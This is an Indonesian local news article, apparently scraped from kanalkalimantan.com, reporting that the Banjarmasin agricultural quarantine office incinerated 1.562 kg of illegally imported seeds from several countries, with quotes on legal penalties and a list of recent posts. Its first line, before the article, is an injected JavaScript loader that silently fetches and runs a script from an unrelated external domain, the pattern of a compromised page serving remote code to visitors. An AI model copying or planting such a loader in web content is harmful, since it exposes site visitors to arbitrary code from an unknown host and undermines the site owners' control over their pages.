(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Potensi Bawa Penyakit, Bibit Tanaman Impor Ilegal Manca Negara Dimusnahkan


KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 1,562 kilogram atau 1562 gram benih tanaman impor ilegal berhasil diungkap peredarannya oleh Balai Karantina Pertanian Kelas I Banjarmasin. Adapun benih tanaman ilegal yang mengancam keragaman hayati tersebut, dilakukan tindakan pemusnahan pada Rabu (19/8/2020) pagi.

Benih tanaman sebagai media pembawa Organisme Pengganggu Tumbuhan Karantina (OPTK) yang dimusnahkan merupakan hasil dari tindakan penahanan periode Juni-Agustus 2020. Seluruhnya berasal dari impor luar negeri tanpa dilengkapi Phytosanitary Certificate (PC) atau Sertifikat Kesehatan Karantina Tumbuhan dari negara asal.

“Benih tanaman tersebut terdiri dari benih buah, benih tanaman hias, benih herbal, dan benih sayur dengan jumlah total 1562 gram atau 1,562 kilogram yang berasal dari negara Taiwan, Malaysia, Laos, Tonga, Thailand, Singapura, Tiongkok, dan Kyrgyzstan,” kata Kepala Balai Karantina Pertanian Kelas 1 Banjarmasin, Nur Hartanto.

Pemusnahaan benih ilegal ini, kata Hartanto, lantaran berpotensi membawa penyakit hewan dan tumbuhan, serta menggangu sumber daya hayati. Hingga pada akhirnya menimbulkan kerugian negara yang sangat besar.

Dijelaskan Hartanto, perederan benih ilegal ini dilakukan secara daring -online-, sehingga perizinannya tidak bisa dilengkapi pengirim. Kondisi pandemi Covid-19 yang membuat masyarakat lebih banyak berkativitas di rumah, salah satunya dengan berkebun berpengaruh pada pemesanan bibit tumbuhan hias.

“Permintaan masyarakat untuk bibit tanaman hias saat ini sangat masif, makanya pemesanannya pun sampai dari negara lain. Untuk itu kita akan memberikan edukasi kepada masyarakat bahwa bibit tanaman yang ilegal itu telah melalui izin dan SOP di karantina,” ujarnya.

Bagi pengedar bibit illegal ini tentu melanggar Undang-undang No 21Tahun 2019 tentang Karantina Hewan, Ikan dan Tumbuhan Pasal 33. Tidak tanggung-tanggung, mereka yang kedapatan melakukan suplai bibit ilegal dapat dikenakan sanksi pidana.

“Sanksi bagi pemasok benih ilegal bisa berupa administratif. Bisa juga sanksi pidana, dengan ancaman 10 tahun penjara dan denda mencapai Rp 10 miliar. Bahkan kalau pemasok tidak bisa membiayai pemusnahaan barang buktinya sendiri, bisa ditambah dengan hukuman 6 tahun penjara,” tegas Hartanto.

Di sisi lain, Kepala Dinas Pertanian dan Holtikultura Provinsi Kalsel Syamsir mengapersiasi atas kinerja Balai Karantina Kelas I Banjarmasin serta seluruh pihak yang terlibat dalam pengungkapan bibit tanaman ilegal impor. Menurutnya kerugian dengan adanya bibit tanaman ilegal, sangat berdampak khususnya bagi para petani.

“Harga bibit ilegal ini memang hanya kisaran jutaan, tapi kalau masuknya membawa hama, maka akan jadi bencana. Bisa-bisa kerugian mencapai miliaran dan sangat terdampak bagi petani. Para pemasok harus diberikan efek jera. Kita juga harus memproteksi tanaman yang tumbuh bagus,” tandasnya.

Pemusnahan dilakukan dengan cara dibakar di dalam insenerator milik Balai Karantina Pertanian Kelas 1 Banjarmasin. Diharapkan dengan tindakan pemusnahan ini sebagai sarana sosialisasi kepada masyarakat sehingga apabila akan melalulintaskan hewan/ tumbuhan dan produknya masuk ke dalam negara Indonesia wajib melaporkannya ke petugas Karantina Pertanian di Bandara dan Pelabuhan. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.